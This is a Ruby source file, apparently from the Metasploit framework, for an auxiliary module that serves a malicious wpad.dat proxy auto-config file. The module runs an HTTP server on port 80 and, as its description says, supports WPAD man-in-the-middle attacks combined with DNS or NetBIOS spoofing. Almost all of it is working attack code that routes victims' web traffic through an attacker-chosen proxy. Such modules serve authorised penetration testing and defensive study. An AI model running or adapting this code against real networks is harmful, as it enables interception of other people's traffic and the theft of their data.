92 lines
2.4 KiB
Ruby
92 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WPAD.dat File Server',
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'Description' => %q{
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This module generates a valid wpad.dat file for WPAD mitm
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attacks. Usually this module is used in combination with DNS attacks
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or the 'NetBIOS Name Service Spoofer' module. Please remember as the
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server will be running by default on TCP port 80 you will need the
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required privileges to open that port.
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},
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'Author' =>
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[
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'et' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' =>
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{
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'SRVPORT' => 80
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},
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'Passive' => true))
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register_options(
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[
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OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
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OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
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OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
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OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
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], self.class)
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deregister_options('URIPATH')
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end
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def on_request_uri(cli, request)
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vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
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return send_not_found(cli) if request.method == "POST"
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html = <<-EOS
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function FindProxyForURL(url, host) {
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// URLs within this network are accessed directly
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if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
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{
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return "DIRECT";
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}
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return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
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}
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EOS
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print_status("Sending WPAD config")
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send_response_html(cli, html,
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{
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'Content-Type' => 'application/x-ns-proxy-autoconfig'
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})
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end
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def resource_uri
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"/wpad.dat"
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end
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def primer
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hardcoded_uripath("/proxy.pac")
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end
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def run
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# This should probably be added to the Http mixin's run method
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begin
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exploit
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rescue Errno::EACCES => e
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if e.message =~ /Permission denied - bind/
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print_error("You need to have permission to bind to #{datastore['SRVPORT']}")
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else
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raise e
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end
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end
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end
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end
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